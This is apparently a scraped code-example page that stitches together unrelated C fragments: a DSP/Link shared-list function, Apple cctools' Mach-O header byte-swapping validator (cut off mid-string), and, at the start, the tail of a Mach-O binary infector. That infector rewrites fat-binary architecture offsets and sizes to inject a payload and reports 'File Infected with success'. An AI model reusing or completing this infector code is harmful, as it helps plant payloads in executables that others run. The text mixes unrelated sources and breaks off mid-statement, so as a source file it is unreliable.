            printf ("[ii] archOffset: %d\n", archOffset);
#endif
            if (cputype == CPU_TYPE_X86)
              {
                x86Found++;
                
                offsetToResources = infectSingleArch ((char *)(inputFilePointer),
                                                      (char *)(outputFilePointer),
                                                      archOffset,
                                                      f_arch->size,
                                                      outputFileSize);
                
                f_arch->size += sizeof (struct segment_command)
                                + outputFileSize
                                + offsetToResources;
                
                //offsetToResources -= archOffset;
              }
            else
              {
                if (x86Found)
                  {
                    archOffset += offsetToResources + outputFileSize;
                    
                    if (archOffset % PAGE_ALIGNMENT)
                      archOffset = ((archOffset + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
#ifdef DEBUG_VERBOSE
                    printf ("new Offset: %d\n", archOffset);
#endif
                    f_arch->offset = SWAP_LONG (archOffset);
                  }
                
                memcpy (outputFilePointer + archOffset,
                        inputFilePointer + archOffset,
                        f_arch->size);
              }
            
            f_arch->size = SWAP_LONG (f_arch->size);
            memcpy (outputFilePointer + outputOffset, f_arch, sizeof (struct fatArch));
            
            free (f_arch);
            inputOffset   += sizeof (struct fatArch);
            outputOffset  += sizeof (struct fatArch);
          }
        
        break;
      }
    case kMachBinary:
      {
        gFileType = 3;
        printf ("[ii] Mach Binary found\n");
        
        if ((offsetToResources = infectSingleArch (inputFilePointer,
                                                    outputFilePointer,
                                                    0,
                                                    inputFileSize,
                                                    outputFileSize)) < 0)
          {
            printf("[ee] An error occurred while infecting the binary\n");
            
            switch (offsetToResources)
              {
              case kErrorGeneric:
                printf("[ee] Got a generic error\n");
                break;
              case kErrorOpenFile:
                printf("[ee] Error on file open\n");
                break;
              case kErrorReadFile:
                printf("[ee] Error while reading the input file\n");
                break;
              case kErrorWriteFile:
                printf("[ee] Error while writing the output file\n");
                break;
              case kErrorCreateFile:
                printf("[ee] Error while creating the output file\n");
                break;
              default:
                break;
              }
          }
                
        break;
      }
    default:
      break;
    }

  printf ("[ii] File Infected with success\n");
  
  return kSuccess;
}
Ejemplo n.º 23
0
/** ============================================================================
 *  @func   LDRV_MPLIST_putTail
 *
 *  @desc   Adds the specified element to the tail of the list while working on
 *          the list object and element fields in DSP address space.If the
 *          element is from pool memory, it does the  invalidate and writeback
 *          operations on the element. If the element is from a non pool shared
 *          memory, invalidate writeback operations  are not performed.
 *
 *  @modif  None.
 *  ============================================================================
 */
EXPORT_API
Void
LDRV_MPLIST_putTail (IN     ProcessorId   dspId,
                     IN     List *        list,
                     IN     ListElement * element )
{
    PoolId               poolId         = POOL_INVALIDID ;
    LDRV_MPLIST_Object * mplistState ;
    ListElement *        temp   ;
    Uint32               intermediateState ;

    TRC_3ENTER ("LDRV_MPLIST_putTail", dspId, list, element) ;

    DBC_Require (IS_VALID_PROCID(dspId)) ;
    DBC_Require (list    != NULL) ;
    DBC_Require (element != NULL) ;
    DBC_Assert  (LDRV_MPLIST_IsInitialized [dspId] == TRUE) ;

    mplistState = &(LDRV_MPLIST_State [dspId]) ;

    element->prev   = list->head.prev ;
    element->next   = (ListElement *)
                          SWAP_LONG (DSP_addrConvert (dspId,
                                                      (Uint32) &(list->head),
                                                      GppToDsp),
                                     mplistState->wordSwap) ;
    /* Get the poolId of the element to do write back */
     LDRV_POOL_getPoolId (dspId,
                          element,
                          AddrType_Knl,
                          &poolId );

    if (IS_VALID_POOLID (poolId)) {
        LDRV_POOL_writeback (poolId, element, sizeof (ListElement)) ;
    }

    intermediateState = DSP_addrConvert (dspId,
                                         (Uint32) element,
                                         GppToDsp) ;
    if (IS_VALID_POOLID (poolId)) {
        LDRV_POOL_writeback (poolId, element, sizeof (ListElement)) ;
    }

    list->head.prev = (ListElement *) SWAP_LONG ((Uint32)intermediateState,
                                                 mplistState->wordSwap) ;
    temp = (ListElement *)
                  DSP_addrConvert (dspId,
                                   SWAP_LONG ((Uint32) (element->prev),
                                              mplistState->wordSwap),
                                   DspToGpp) ;
    /* Get the  poolId of temp, to be able to invalidate and write back
     * properly
     */
    LDRV_POOL_getPoolId (dspId,
                         temp,
                         AddrType_Knl,
                         &poolId );
    if (IS_VALID_POOLID (poolId)) {
        LDRV_POOL_invalidate (poolId, temp, sizeof (ListElement)) ;
    }
    temp->next = list->head.prev ;
    if (IS_VALID_POOLID (poolId)) {
        LDRV_POOL_writeback (poolId, temp, sizeof (ListElement)) ;
    }

    TRC_0LEAVE ("LDRV_MPLIST_putTail") ;
}
Ejemplo n.º 24
0
enum bool
swap_object_headers(
void *mach_header,
struct load_command *load_commands)
{
    unsigned long i;
    uint32_t magic, ncmds, sizeofcmds, cmd_multiple;
    cpu_type_t cputype;
    cpu_subtype_t cpusubtype;
    struct mach_header *mh;
    struct mach_header_64 *mh64;
    enum byte_sex target_byte_sex;
    struct load_command *lc, l;
    struct segment_command *sg;
    struct segment_command_64 *sg64;
    struct section *s;
    struct section_64 *s64;
    struct symtab_command *st;
    struct dysymtab_command *dyst;
    struct symseg_command *ss;
    struct fvmlib_command *fl;
    struct thread_command *ut;
    struct ident_command *id;
    struct dylib_command *dl;
    struct sub_framework_command *sub;
    struct sub_umbrella_command *usub;
    struct sub_library_command *lsub;
    struct sub_client_command *csub;
    struct prebound_dylib_command *pbdylib;
    struct dylinker_command *dyld;
    struct routines_command *rc;
    struct routines_command_64 *rc64;
    struct twolevel_hints_command *hints;
    struct prebind_cksum_command *cs;
    struct uuid_command *uuid;
    unsigned long flavor, count, nflavor;
    char *p, *state;

	magic = *((uint32_t *)mach_header);
	if(magic == MH_MAGIC){
	    mh = (struct mach_header *)mach_header;
	    ncmds = mh->ncmds;
	    sizeofcmds = mh->sizeofcmds;
	    cputype = mh->cputype;
	    cpusubtype = mh->cpusubtype;
	    cmd_multiple = 4;
	    mh64 = NULL;
	}
	else{
	    mh64 = (struct mach_header_64 *)mach_header;
	    ncmds = mh64->ncmds;
	    sizeofcmds = mh64->sizeofcmds;
	    cputype = mh64->cputype;
	    cpusubtype = mh64->cpusubtype;
	    cmd_multiple = 8;
	    mh = NULL;
	}
	/*
	 * Make a pass through the load commands checking them to the level
	 * that they can be parsed and then swapped.
	 */
	for(i = 0, lc = load_commands; i < ncmds; i++){
	    l = *lc;
	    /* check load command size for a correct multiple size */
	    if(lc->cmdsize % cmd_multiple != 0){
		error("in swap_object_headers(): malformed load command %lu "
		      "(cmdsize not a multiple of %u)", i, cmd_multiple);
		return(FALSE);
	    }
	    /* check that load command does not extends past end of commands */
	    if((char *)lc + lc->cmdsize >
	       (char *)load_commands + sizeofcmds){
		error("in swap_object_headers(): truncated or malformed load "
		      "command %lu (extends past the end of the all load "
		      "commands)", i);
		return(FALSE);
	    }
	    /* check that the load command size is not zero */
	    if(lc->cmdsize == 0){
		error("in swap_object_headers(): malformed load command %lu "
		      "(cmdsize is zero)", i);
		return(FALSE);
	    }
	    switch(lc->cmd){
	    case LC_SEGMENT:
		sg = (struct segment_command *)lc;
		if(sg->cmdsize != sizeof(struct segment_command) +
				     sg->nsects * sizeof(struct section)){
		    error("in swap_object_headers(): malformed load command "
			  "(inconsistent cmdsize in LC_SEGMENT command %lu for "
			  "the number of sections)", i);
		    return(FALSE);
		}
		break;

	    case LC_SEGMENT_64:
		sg64 = (struct segment_command_64 *)lc;
		if(sg64->cmdsize != sizeof(struct segment_command_64) +
				     sg64->nsects * sizeof(struct section_64)){
		    error("in swap_object_headers(): malformed load command "
			  "(inconsistent cmdsize in LC_SEGMENT_64 command %lu "
			  "for the number of sections)", i);
		    return(FALSE);
		}
		break;

	    case LC_SYMTAB:
		st = (struct symtab_command *)lc;
		if(st->cmdsize != sizeof(struct symtab_command)){
		    error("in swap_object_headers(): malformed load commands "
			  "(LC_SYMTAB command %lu has incorrect cmdsize", i);
		    return(FALSE);
		}
		break;

	    case LC_DYSYMTAB:
		dyst = (struct dysymtab_command *)lc;
		if(dyst->cmdsize != sizeof(struct dysymtab_command)){
		    error("in swap_object_headers(): malformed load commands "
			  "(LC_DYSYMTAB command %lu has incorrect cmdsize", i);
		    return(FALSE);
		}
		break;

	    case LC_SYMSEG:
		ss = (struct symseg_command *)lc;
		if(ss->cmdsize != sizeof(struct symseg_command)){
		    error("in swap_object_headers(): malformed load command "
			  "(LC_SYMSEG command %lu has incorrect cmdsize", i);
		    return(FALSE);
		}
		break;

	    case LC_IDFVMLIB:
	    case LC_LOADFVMLIB:
		fl = (struct fvmlib_command *)lc;
		if(fl->cmdsize < sizeof(struct fvmlib_command)){
		    error("in swap_object_headers(): malformed load commands "
			  "(%s command %lu has too small cmdsize field)",
			  fl->cmd == LC_IDFVMLIB ? "LC_IDFVMLIB" :
			  "LC_LOADFVMLIB", i);
		    return(FALSE);
		}
		if(fl->fvmlib.name.offset >= fl->cmdsize){
		    error("in swap_object_headers(): truncated or malformed "
			  "load commands (name.offset field of %s command %lu "
			  "extends past the end of all load commands)",
			  fl->cmd == LC_IDFVMLIB ? "LC_IDFVMLIB" :
			  "LC_LOADFVMLIB", i);
		    return(FALSE);
		}
		break;

	    case LC_ID_DYLIB:
	    case LC_LOAD_DYLIB:
	    case LC_LOAD_WEAK_DYLIB:
		dl = (struct dylib_command *)lc;
		if(dl->cmdsize < sizeof(struct dylib_command)){
		    error("in swap_object_headers(): malformed load commands "
			  "(%s command %lu has too small cmdsize field)",
			  dl->cmd == LC_ID_DYLIB ? "LC_ID_DYLIB" :
			  (dl->cmd == LC_LOAD_DYLIB ? "LC_LOAD_DYLIB" :
			  "LC_LOAD_WEAK_DYLIB"), i);
		    return(FALSE);
		}
		if(dl->dylib.name.offset >= dl->cmdsize){
		    error("in swap_object_headers(): truncated or malformed "
			  "load commands (name.offset field of %s command %lu "
			  "extends past the end of all load commands)",
			  dl->cmd == LC_ID_DYLIB ? "LC_ID_DYLIB" :
			  (dl->cmd == LC_LOAD_DYLIB ? "LC_LOAD_DYLIB" :
			  "LC_LOAD_WEAK_DYLIB"), i);
		    return(FALSE);
		}
		break;

	    case LC_SUB_FRAMEWORK:
		sub = (struct sub_framework_command *)lc;
		if(sub->cmdsize < sizeof(struct sub_framework_command)){
		    error("in swap_object_headers(): malformed load commands "
			  "(LC_SUB_FRAMEWORK command %lu has too small cmdsize "
			  "field)", i);
		    return(FALSE);
		}
		if(sub->umbrella.offset >= sub->cmdsize){
		    error("in swap_object_headers(): truncated or malformed "
			  "load commands (umbrella.offset field of "
			  "LC_SUB_FRAMEWORK command %lu extends past the end "
			  "of all load commands)", i);
		    return(FALSE);
		}
		break;

	    case LC_SUB_UMBRELLA:
		usub = (struct sub_umbrella_command *)lc;
		if(usub->cmdsize < sizeof(struct sub_umbrella_command)){
		    error("in swap_object_headers(): malformed load commands "
			  "(LC_SUB_UMBRELLA command %lu has too small cmdsize "
			  "field)", i);
		    return(FALSE);
		}
		if(usub->sub_umbrella.offset >= usub->cmdsize){
		    error("in swap_object_headers(): truncated or malformed "
			  "load commands (sub_umbrella.offset field of "
			  "LC_SUB_UMBRELLA command %lu extends past the end "
			  "of all load commands)", i);
		    return(FALSE);
		}
		break;

	    case LC_SUB_LIBRARY:
		lsub = (struct sub_library_command *)lc;
		if(lsub->cmdsize < sizeof(struct sub_library_command)){
		    error("in swap_object_headers(): malformed load commands "
			  "(LC_SUB_LIBRARY command %lu has too small cmdsize "
			  "field)", i);
		    return(FALSE);
		}
		if(lsub->sub_library.offset >= lsub->cmdsize){
		    error("in swap_object_headers(): truncated or malformed "
			  "load commands (sub_library.offset field of "
			  "LC_SUB_LIBRARY command %lu extends past the end "
			  "of all load commands)", i);
		    return(FALSE);
		}
		break;

	    case LC_SUB_CLIENT:
		csub = (struct sub_client_command *)lc;
		if(csub->cmdsize < sizeof(struct sub_client_command)){
		    error("in swap_object_headers(): malformed load commands "
			  "(LC_SUB_CLIENT command %lu has too small cmdsize "
			  "field)", i);
		    return(FALSE);
		}
		if(csub->client.offset >= csub->cmdsize){
		    error("in swap_object_headers(): truncated or malformed "
			  "load commands (client.offset field of "
			  "LC_SUB_CLIENT command %lu extends past the end "
			  "of all load commands)", i);
		    return(FALSE);
		}
		break;

	    case LC_PREBOUND_DYLIB:
		pbdylib = (struct prebound_dylib_command *)lc;
		if(pbdylib->cmdsize < sizeof(struct prebound_dylib_command)){
		    error("in swap_object_headers(): malformed load commands "
			  "(LC_PREBOUND_DYLIB command %lu has too small "
			  "cmdsize field)", i);
		    return(FALSE);
		}
		if(pbdylib->name.offset >= pbdylib->cmdsize){
		    error("in swap_object_headers(): truncated or malformed "
			  "load commands (name.offset field of "
			  "LC_PREBOUND_DYLIB command %lu extends past the end "
			  "of all load commands)", i);
		    return(FALSE);
		}
		if(pbdylib->linked_modules.offset >= pbdylib->cmdsize){
		    error("in swap_object_headers(): truncated or malformed "
			  "load commands (linked_modules.offset field of "
			  "LC_PREBOUND_DYLIB command %lu extends past the end "
			  "of all load commands)", i);
		    return(FALSE);
		}
		break;

	    case LC_ID_DYLINKER:
	    case LC_LOAD_DYLINKER:
		dyld = (struct dylinker_command *)lc;
		if(dyld->cmdsize < sizeof(struct dylinker_command)){
		    error("in swap_object_headers(): malformed load commands "
			  "(%s command %lu has too small cmdsize field)",
			  dyld->cmd == LC_ID_DYLINKER ? "LC_ID_DYLINKER" :
			  "LC_LOAD_DYLINKER", i);
		    return(FALSE);
		}
		if(dyld->name.offset >= dyld->cmdsize){
		    error("in swap_object_headers(): truncated or malformed "
			  "load commands (name.offset field of %s command %lu "
			  "extends past the end of all load commands)",
			  dyld->cmd == LC_ID_DYLINKER ? "LC_ID_DYLINKER" :
			  "LC_LOAD_DYLINKER", i);
		    return(FALSE);
		}
		break;

	    case LC_UNIXTHREAD:
	    case LC_THREAD:
		ut = (struct thread_command *)lc;
		state = (char *)ut + sizeof(struct thread_command);

	    	if(cputype == CPU_TYPE_MC680x0){
		    struct m68k_thread_state_regs *cpu;
		    struct m68k_thread_state_68882 *fpu;
		    struct m68k_thread_state_user_reg *user_reg;

		    nflavor = 0;
		    p = (char *)ut + ut->cmdsize;
		    while(state < p){
			flavor = *((unsigned long *)state);
			state += sizeof(unsigned long);
			count = *((unsigned long *)state);
			state += sizeof(unsigned long);
			switch(flavor){
			case M68K_THREAD_STATE_REGS:
			    if(count != M68K_THREAD_STATE_REGS_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not M68K_THREAD_STATE_REGS_COUNT for "
				    "flavor number %lu which is a M68K_THREAD_"
				    "STATE_REGS flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    cpu = (struct m68k_thread_state_regs *)state;
			    state += sizeof(struct m68k_thread_state_regs);
			    break;
			case M68K_THREAD_STATE_68882:
			    if(count != M68K_THREAD_STATE_68882_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not M68K_THREAD_STATE_68882_COUNT for "
				    "flavor number %lu which is a M68K_THREAD_"
				    "STATE_68882 flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    fpu = (struct m68k_thread_state_68882 *)state;
			    state += sizeof(struct m68k_thread_state_68882);
			    break;
			case M68K_THREAD_STATE_USER_REG:
			    if(count != M68K_THREAD_STATE_USER_REG_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not M68K_THREAD_STATE_USER_REG_COUNT for "
				    "flavor number %lu which is a M68K_THREAD_"
				    "STATE_USER_REG flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    user_reg =
				(struct m68k_thread_state_user_reg *)state;
			    state += sizeof(struct m68k_thread_state_user_reg);
			    break;
			default:
			    error("in swap_object_headers(): malformed "
				"load commands (unknown "
				"flavor %lu for flavor number %lu in %s command"
				" %lu can't byte swap it)", flavor, nflavor,
				ut->cmd == LC_UNIXTHREAD ? "LC_UNIXTHREAD" :
				"LC_THREAD", i);
			    return(FALSE);
			}
			nflavor++;
		    }
		    break;
		}
	    	if(cputype == CPU_TYPE_POWERPC ||
	    	   cputype == CPU_TYPE_VEO ||
		   cputype == CPU_TYPE_POWERPC64){
		    ppc_thread_state_t *cpu;
		    ppc_float_state_t *fpu;
		    ppc_exception_state_t *except;
		    ppc_thread_state64_t *cpu64;

		    nflavor = 0;
		    p = (char *)ut + ut->cmdsize;
		    while(state < p){
			flavor = *((unsigned long *)state);
			state += sizeof(unsigned long);
			count = *((unsigned long *)state);
			state += sizeof(unsigned long);
			switch(flavor){
			case PPC_THREAD_STATE:
			    if(count != PPC_THREAD_STATE_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not PPC_THREAD_STATE_COUNT for "
				    "flavor number %lu which is a PPC_THREAD_"
				    "STATE flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    cpu = (ppc_thread_state_t *)state;
			    state += sizeof(ppc_thread_state_t);
			    break;
			case PPC_FLOAT_STATE:
			    if(count != PPC_FLOAT_STATE_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not PPC_FLOAT_STATE_COUNT for "
				    "flavor number %lu which is a PPC_FLOAT_"
				    "STATE flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    fpu = (ppc_float_state_t *)state;
			    state += sizeof(ppc_float_state_t);
			    break;
			case PPC_EXCEPTION_STATE:
			    if(count != PPC_EXCEPTION_STATE_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not PPC_EXCEPTION_STATE_COUNT for "
				    "flavor number %lu which is a PPC_EXCEPT"
				    "ION_STATE flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    except = (ppc_exception_state_t *)state;
			    state += sizeof(ppc_exception_state_t);
			    break;
			case PPC_THREAD_STATE64:
			    if(count != PPC_THREAD_STATE64_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not PPC_THREAD_STATE64_COUNT for "
				    "flavor number %lu which is a PPC_THREAD_"
				    "STATE64 flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    cpu64 = (ppc_thread_state64_t *)state;
			    state += sizeof(ppc_thread_state64_t);
			    break;
			default:
			    error("in swap_object_headers(): malformed "
				"load commands (unknown "
				"flavor %lu for flavor number %lu in %s command"
				" %lu can't byte swap it)", flavor, nflavor,
				ut->cmd == LC_UNIXTHREAD ? "LC_UNIXTHREAD" :
				"LC_THREAD", i);
			    return(FALSE);
			}
			nflavor++;
		    }
		    break;
		}
	    	if(cputype == CPU_TYPE_MC88000){
		    m88k_thread_state_grf_t *cpu;
		    m88k_thread_state_xrf_t *fpu;
		    m88k_thread_state_user_t *user;
		    m88110_thread_state_impl_t *spu;

		    nflavor = 0;
		    p = (char *)ut + ut->cmdsize;
		    while(state < p){
			flavor = *((unsigned long *)state);
			state += sizeof(unsigned long);
			count = *((unsigned long *)state);
			state += sizeof(unsigned long);
			switch(flavor){
			case M88K_THREAD_STATE_GRF:
			    if(count != M88K_THREAD_STATE_GRF_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not M88K_THREAD_STATE_GRF_COUNT for "
				    "flavor number %lu which is a M88K_THREAD_"
				    "STATE_GRF flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    cpu = (m88k_thread_state_grf_t *)state;
			    state += sizeof(m88k_thread_state_grf_t);
			    break;
			case M88K_THREAD_STATE_XRF:
			    if(count != M88K_THREAD_STATE_XRF_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not M88K_THREAD_STATE_XRF_COUNT for "
				    "flavor number %lu which is a M88K_THREAD_"
				    "STATE_XRF flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    fpu = (m88k_thread_state_xrf_t *)state;
			    state += sizeof(m88k_thread_state_xrf_t);
			    break;
			case M88K_THREAD_STATE_USER:
			    if(count != M88K_THREAD_STATE_USER_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not M88K_THREAD_STATE_USER_COUNT for "
				    "flavor number %lu which is a M88K_THREAD_"
				    "STATE_USER flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    user = (m88k_thread_state_user_t *)state;
			    state += sizeof(m88k_thread_state_user_t);
			    break;
			case M88110_THREAD_STATE_IMPL:
			    if(count != M88110_THREAD_STATE_IMPL_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not M88110_THREAD_STATE_IMPL_COUNT for "
				    "flavor number %lu which is a M88110_THREAD"
				    "_STATE_IMPL flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    spu = (m88110_thread_state_impl_t *)state;
			    state += sizeof(m88110_thread_state_impl_t);
			    break;
			default:
			    error("in swap_object_headers(): malformed "
				"load commands (unknown "
				"flavor %lu for flavor number %lu in %s command"
				" %lu can't byte swap it)", flavor, nflavor,
				ut->cmd == LC_UNIXTHREAD ? "LC_UNIXTHREAD" :
				"LC_THREAD", i);
			    return(FALSE);
			}
			nflavor++;
		    }
		    break;
		}
	    	if(cputype == CPU_TYPE_I860){
		    struct i860_thread_state_regs *cpu;

		    nflavor = 0;
		    p = (char *)ut + ut->cmdsize;
		    while(state < p){
			flavor = *((unsigned long *)state);
			state += sizeof(unsigned long);
			count = *((unsigned long *)state);
			state += sizeof(unsigned long);
			switch(flavor){
			case I860_THREAD_STATE_REGS:
			    if(count != I860_THREAD_STATE_REGS_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not I860_THREAD_STATE_REGS_COUNT for "
				    "flavor number %lu which is a I860_THREAD_"
				    "STATE_REGS flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    cpu = (struct i860_thread_state_regs *)state;
			    state += sizeof(struct i860_thread_state_regs);
			    break;
			default:
			    error("in swap_object_headers(): malformed "
				"load commands (unknown "
				"flavor %lu for flavor number %lu in %s command"
				" %lu can't byte swap it)", flavor, nflavor,
				ut->cmd == LC_UNIXTHREAD ? "LC_UNIXTHREAD" :
				"LC_THREAD", i);
			    return(FALSE);
			}
			nflavor++;
		    }
		    break;
		}
	    	if(cputype == CPU_TYPE_I386
#ifdef x86_THREAD_STATE64
		   || cputype == CPU_TYPE_X86_64
#endif /* x86_THREAD_STATE64 */
		   ){
		    i386_thread_state_t *cpu;
#ifdef x86_THREAD_STATE64
		    x86_thread_state64_t *cpu64;
#endif /* x86_THREAD_STATE64 */
/* current i386 thread states */
#if i386_THREAD_STATE == 1
		    struct i386_float_state *fpu;
		    i386_exception_state_t *exc;
#endif /* i386_THREAD_STATE == 1 */

/* i386 thread states on older releases */
#if i386_THREAD_STATE == -1
		    i386_thread_fpstate_t *fpu;
		    i386_thread_exceptstate_t *exc;
		    i386_thread_cthreadstate_t *user;
#endif /* i386_THREAD_STATE == -1 */

		    nflavor = 0;
		    p = (char *)ut + ut->cmdsize;
		    while(state < p){
			flavor = *((unsigned long *)state);
			state += sizeof(unsigned long);
			count = *((unsigned long *)state);
			state += sizeof(unsigned long);
			switch(flavor){
			case i386_THREAD_STATE:
/* current i386 thread states */
#if i386_THREAD_STATE == 1
			case -1:
#endif /* i386_THREAD_STATE == 1 */
/* i386 thread states on older releases */
#if i386_THREAD_STATE == -1
			case 1:
#endif /* i386_THREAD_STATE == -1 */
			    if(count != i386_THREAD_STATE_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not i386_THREAD_STATE_COUNT for flavor "
				    "number %lu which is a i386_THREAD_STATE "
				    "flavor in %s command %lu)", nflavor,
				    ut->cmd == LC_UNIXTHREAD ? "LC_UNIXTHREAD" :
				    "LC_THREAD", i);
				return(FALSE);
			    }
			    cpu = (i386_thread_state_t *)state;
			    state += sizeof(i386_thread_state_t);
			    break;
/* current i386 thread states */
#if i386_THREAD_STATE == 1
			case i386_FLOAT_STATE:
			    if(count != i386_FLOAT_STATE_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not i386_FLOAT_STATE_COUNT for flavor "
				    "number %lu which is a i386_FLOAT_STATE "
				    "flavor in %s command %lu)", nflavor,
				    ut->cmd == LC_UNIXTHREAD ? "LC_UNIXTHREAD" :
				    "LC_THREAD", i);
				return(FALSE);
			    }
			    fpu = (struct i386_float_state *)state;
			    state += sizeof(struct i386_float_state);
			    break;
			case i386_EXCEPTION_STATE:
			    if(count != I386_EXCEPTION_STATE_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not I386_EXCEPTION_STATE_COUNT for "
				    "flavor number %lu which is a i386_"
				    "EXCEPTION_STATE flavor in %s command %lu)",
				    nflavor,
				    ut->cmd == LC_UNIXTHREAD ? "LC_UNIXTHREAD" :
				    "LC_THREAD", i);
				return(FALSE);
			    }
			    exc = (i386_exception_state_t *)state;
			    state += sizeof(i386_exception_state_t);
			    break;
#endif /* i386_THREAD_STATE == 1 */

/* i386 thread states on older releases */
#if i386_THREAD_STATE == -1
			case i386_THREAD_FPSTATE:
			    if(count != i386_THREAD_FPSTATE_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not i386_THREAD_FPSTATE_COUNT for flavor "
				    "number %lu which is a i386_THREAD_FPSTATE "
				    "flavor in %s command %lu)", nflavor,
				    ut->cmd == LC_UNIXTHREAD ? "LC_UNIXTHREAD" :
				    "LC_THREAD", i);
				return(FALSE);
			    }
			    fpu = (i386_thread_fpstate_t *)state;
			    state += sizeof(i386_thread_fpstate_t);
			    break;
			case i386_THREAD_EXCEPTSTATE:
			    if(count != i386_THREAD_EXCEPTSTATE_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not i386_THREAD_EXCEPTSTATE_COUNT for "
				    "flavor number %lu which is a i386_THREAD_"
				    "EXCEPTSTATE flavor in %s command %lu)",
				    nflavor,
				    ut->cmd == LC_UNIXTHREAD ? "LC_UNIXTHREAD" :
				    "LC_THREAD", i);
				return(FALSE);
			    }
			    exc = (i386_thread_exceptstate_t *)state;
			    state += sizeof(i386_thread_fpstate_t);
			    break;
			case i386_THREAD_CTHREADSTATE:
			    if(count != i386_THREAD_CTHREADSTATE_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not i386_THREAD_CTHREADSTATE_COUNT for "
				    "flavor number %lu which is a i386_THREAD_"
				    "CTHREADSTATE flavor in %s command %lu)",
				    nflavor,
				    ut->cmd == LC_UNIXTHREAD ? "LC_UNIXTHREAD" :
				    "LC_THREAD", i);
				return(FALSE);
			    }
			    user = (i386_thread_cthreadstate_t *)state;
			    state += sizeof(i386_thread_fpstate_t);
			    break;
#endif /* i386_THREAD_STATE == -1 */
#ifdef x86_THREAD_STATE64
			case x86_THREAD_STATE64:
			    if(count != x86_THREAD_STATE64_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not x86_THREAD_STATE64_COUNT for "
				    "flavor number %lu which is an x86_THREAD_"
				    "STATE64 flavor in %s command %lu)",
				    nflavor,
				    ut->cmd == LC_UNIXTHREAD ? "LC_UNIXTHREAD" :
				    "LC_THREAD", i);
				return(FALSE);
			    }
			    cpu64 = (x86_thread_state64_t *)state;
			    state += sizeof(x86_thread_state64_t);
			    break;
#endif /* x86_THREAD_STATE64 */
			default:
			    error("in swap_object_headers(): malformed "
				"load commands (unknown "
				"flavor %lu for flavor number %lu in %s command"
				" %lu can't byte swap it)", flavor, nflavor,
				ut->cmd == LC_UNIXTHREAD ? "LC_UNIXTHREAD" :
				"LC_THREAD", i);
			    return(FALSE);
			}
			nflavor++;
		    }
		    break;
		}
	        if(cputype == CPU_TYPE_HPPA){
		    struct hp_pa_integer_thread_state *cpu;
		    struct hp_pa_frame_thread_state *frame;
		    struct hp_pa_fp_thread_state *fpu;

		    nflavor = 0;
		    p = (char *)ut + ut->cmdsize;
		    while(state < p){
			flavor = *((unsigned long *)state);
			state += sizeof(unsigned long);
			count = *((unsigned long *)state);
			state += sizeof(unsigned long);
			switch(flavor){
			case HPPA_INTEGER_THREAD_STATE:
			    if(count != HPPA_INTEGER_THREAD_STATE_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not HPPA_INTEGER_THREAD_STATE_COUNT for "
				    "flavor number %lu which is a HPPA_INTEGER"
				    "_THREAD_STATE flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    cpu = (struct hp_pa_integer_thread_state *)state;
			    state += sizeof(struct hp_pa_integer_thread_state);
			    break;
			case HPPA_FRAME_THREAD_STATE:
			    if(count != HPPA_FRAME_THREAD_STATE_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
